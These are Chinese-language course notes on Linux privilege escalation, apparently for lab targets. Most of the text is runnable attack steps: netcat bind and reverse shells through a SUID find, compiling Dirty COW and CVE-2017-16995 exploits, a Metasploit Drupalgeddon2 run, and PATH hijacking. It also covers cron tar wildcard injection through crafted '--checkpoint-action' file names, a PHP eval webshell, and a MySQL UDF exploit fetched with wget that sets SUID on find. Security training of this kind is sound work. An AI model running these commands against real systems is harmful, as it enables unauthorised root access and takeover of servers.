权限提升-linux
思维导图
liunx uid编号范围用户权限资料:https://blog.csdn.net/weixin_30129661/article/details/116882643
权限提升-Linux 脏牛内核漏洞&SUID&信息收集
Linux 提权自动化脚本利用-4 个脚本
两个信息收集:LinEnum,linuxprivchecker 注:建议手动和脚本同时使用。手动详见小迪linux提权总结.pdf
两个漏洞探针:linux-exploit-suggester linux-exploit-suggester2
https://github.com/rebootuser/LinEnum
https://github.com/sleventyeleven/linuxprivchecker
https://github.com/mzet-/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
信息收集有什么用?
信息收集为后续的提权做准备
漏洞探针又有什么用?
可以判定主机可能存在的漏洞
两个信息收集:LinEnum(通过webshell等权限讲脚本上传到/tmp⽬录(这个⽬录是⼀个临时⽬录, 重启后会清空,⼀般是可读写可执行的),上传其他⽬录可能会因为权限不够⽽失败), Linuxprivchecker(是⼀个python⽂件,前期要收集服务器是否能够运⾏python⽂件)。
重点要使⽤ /tmp# chmod +x LinEnum为它赋权
两个漏洞探针:linux-exploit-suggester ,linux-exploit-suggester2(是⼀个pl脚本)
Linux 提权 SUID 配合脚本演示-Aliyun
漏洞成因:chmod u+s 给予了 suid u-s 删除了 suid
使程序在运行中受到了 suid root 权限的执行过程导致。
通俗来说,执⾏过chmod u+s后,如果普通⽤户调⽤了这个程序会以root权限运⾏。
提权过程:探针是否有 SUID(手工或脚本)-特定 SUID 利用-利用吃瓜-GG
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
也可以⽤脚本来判断
检测有没有这个东⻄
参考利用:https://pentestlab.blog/2017/09/25/suid-executables/
touch xiaodi
find xiaodi -exec whoami ;
find xiaodi -exec netcat -lvp 5555 -e /bin/sh ;
netcat xx.xx.xx.xx 5555
演示
使⽤冰蝎链接webshell
打开MSF启动监听,在冰蝎上选择反弹shell,选择Metepreter,在MSF上按照冰蝎显示出来的命令敲,点击给我连
MSF上显示会话已连接,并且权限是www-data
可以将信息收集脚本先上传⾄MSF在上传到⽬标机,也可以通过冰蝎的⽂件管理系统
然后进⼊⽬标机的shell,执⾏刚才上传的信息收集脚本
查看以下的信息看是否有SUID提权的可能
看到有⼀个find,有SUID提权
Linux 提权本地配合内核漏洞演示-Mozhe(本地权限)Ubuntu 16.04漏洞复现
CVE-2017-16995
提权过程:连接-获取可利用漏洞-下载或上传 EXP-编译 EXP-给权限执行-GG
gcc 45010.c -o 45010
chmod +x 45010
./45010
id
演示
给⽬标主机上传检测脚本
执⾏脚本
选择CVE-2017-16995,在⽹上下载EXP,上传⾄⽬标主机,给权限,执行EXP
提权成功
Linux 提权脏牛内核漏洞演示-Aliyun,Vulnhub
内核提权整个过程:(linux-exploit-suggester 获取信息哦)
vulhub(https://www.vulnhub.com/)靶机-探针目标-CMS 漏洞利用-脚本探针提权漏洞-利用内核提权-GG
内核漏洞提权过程:寻可⽤-下exp-上/exp-编译exp-执⾏(⽆权限⽤chmod)
nmap 192.168.76.0/24
nmap -p1-65535 192.168.76.141
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set lhost 192.168.76.141
set lport 1898
set target 0
run
upload /tmp/40837.cpp /tmp/40837.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
python -c ‘import pty; pty.spawn(“/bin/bash”)’
./dcow
演示
⽆密码直接攻击
攻击机采⽤了kali
查看kali地址,确定了⽬标机的Ip地址段,⽤nmap扫描⽹段
扫描出来了⼀个141的主机
针对⽬标主机开始扫描
访问⽬标主机的1898端⼝,发现⼀个web⽹站,查到他的CMS
在msf中搜索这个CMS
使⽤⼀个漏洞
执⾏成功,返回会话
上传检测脚本
执⾏
扫描出多个漏洞,我们选择了CVE-2016-5195(脏⽜漏洞,可以借助webshell权限提升的漏洞)
下载对应EXP,上传⾄⽬标主机,运⾏EXP
python -c ‘import pty; pty.spawn(“/bin/bash”)’ 此漏洞利用必须要开启这个终端
根据上图密码,切换root用户
成功
权限提升-Linux 定时任务&环境变量&数据库
Linux 提权本地环境变量安全-Aliyun
配合 SUID 进行环境变量提权-本地用户环境
手写调用文件-编译-复制文件-增加环境变量-执行触发
gcc demo.c -o shell
cp /bin/sh /tmp/ps
export PATH=/tmp:$PATH
./shell
id
演示
dome.c
将 /bin⽬录下的sh复制到/tmp下改名为ps 到/tmp⽬录下,如果输⼊ps则执⾏的是ps命令,⽽如果输⼊的是./ps则执⾏的是sh
如果现在输⼊ps,则会直接执⾏/tmp⽬录下的ps(实际上是sh)
ps有suid权限
前提两个条件:
赋值了suid权限
需要本地⽤户(如果是webshell权限export PATH=/tmp:PATH执⾏不了) -鸡肋
Linux 提权本地定时任务安全-Aliyun
第一种:路径问题
利用计划任务指向的文件的相对路径解析问题
cat /ect/crontab
echo ‘cp /bin/bash /tmp/bash; chmod +s /tmp/bash’ > /home/xiaodi/test.sh
chmod +x /home/xiaodi/test.sh
/tmp/bash
演示
计划任务的test没有写为绝对路径,
计划任务会默认执⾏在以下⽬录中的⽬标⽂件
执行出结果了
攻击者可以在⽤户⽬录下创建⼀个同名⽂件
第二种:命令问题
利用通配符配合命令参数自定义命令实现提权
不安全定时任务备份命令:
cd /home/undead/script;tar czf /tmp/backup.tar.gz *
echo ‘cp /bin/bash /tmp/bash; chmod +s /tmp/bash’ > /home/undead/script/test.sh
echo “” > “–checkpoint-action=exec=sh test.sh”
echo “” > --checkpoint=1
参考命令:https://www.cnblogs.com/manong–/p/8012324.html
将这两个⽂件放到要打包的⽬录下
⽐正常打包多了⼀个bash
压缩包内还是四个⽂件
cd /home/undead/script; tar czf /tmp/backup.tar.gz * 命令的*会接受⽂件名,就变成了
执⾏了test.sh
suid提权,执⾏bash就有了root权限
如果不是tar命令,⽽是其他命令,则要看其他命令是否⽀持调⽤执⾏
第三种:权限问题
利用不安全的权限分配操作导致的定时文件覆盖
chmod 777 775 等 所有者 组 其他成员说明
Linux 提权第三方服务数据库-Vulnhub
Vulnhub 某靶机-探针IP及端口-利用漏洞获取web权限-信息收集-查看数据库配置文件-利用 Mysql 提权Linux(Mysql 版本区别同 Windows)
探针 IP 及端口
nmap 192.168.76.0/24
利用 phpmailer 漏洞进行修改并反弹
python D:/Myproject/40974.py
nc -lvvp 4444
写入后门利用菜刀连接方便操作
echo ‘<?php eval($_POST[x]);?>’ >1.php
上传信息收集脚本进行提权信息收集
./LinEnum.sh
翻阅数据库配置文件获取 root 密码
利用 Mysql 提权 searchsploit
下载 mysql udf poc 进行编译
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so 1518.so
下载 1518 到目标服务器
wget https://xx.xx.xx.xx/1518.so
进入数据库进行 UDF 导出
use mysql;
create table foo(line blob);
insert into foo values(load_file(‘/tmp/1518.so’));
select * from foo into dumpfile ‘/usr/lib/mysql/plugin/1518.so’;
创建 do_system 函数调用
create function do_system returns integer soname ‘1518.so’;
select do_system(‘chmod u+s /usr/bin/find’);
配合使用 find 调用执行
touch xiaodi
find xiaodi –exec “whoami” ;
find xiaodi –exec “/bin/sh” ;
id
演示
⽬标主机
扫描发现有⼀个⽬录遍历,⾥⾯有⼀个PHPMailerAutoload.php第三⽅插件
⽹上也有PHPMailerAutoload.php的漏洞,下载EXP
⽤python运⾏EXP
反弹到5555的端⼝,监听
获得webshell在/tmp⽬录上传信息收集脚本,获得除了suid的信息,还有mysql
翻阅数据库配置⽂件获取root密码
按照上面步骤继续做mysql提权
Linux 提权提升漏洞简单总结归类-参考 PDF
1.提权环境,信息收集(SUID,定时任务,可能漏洞,第三方服务应用等)
2.最新相关漏洞要明确(关注点),二次开发相关脚本学会展望(四个脚本)
3.本地 searchsploit 脚本及远程 exploitdb 站点搜索说明(简要使用)
4.其他提权方法如:密码复用,guid,sudo 等说明(运气,同理,鸡肋等)
SUDO 说明参考:https://www.freebuf.com/vuls/217089.htm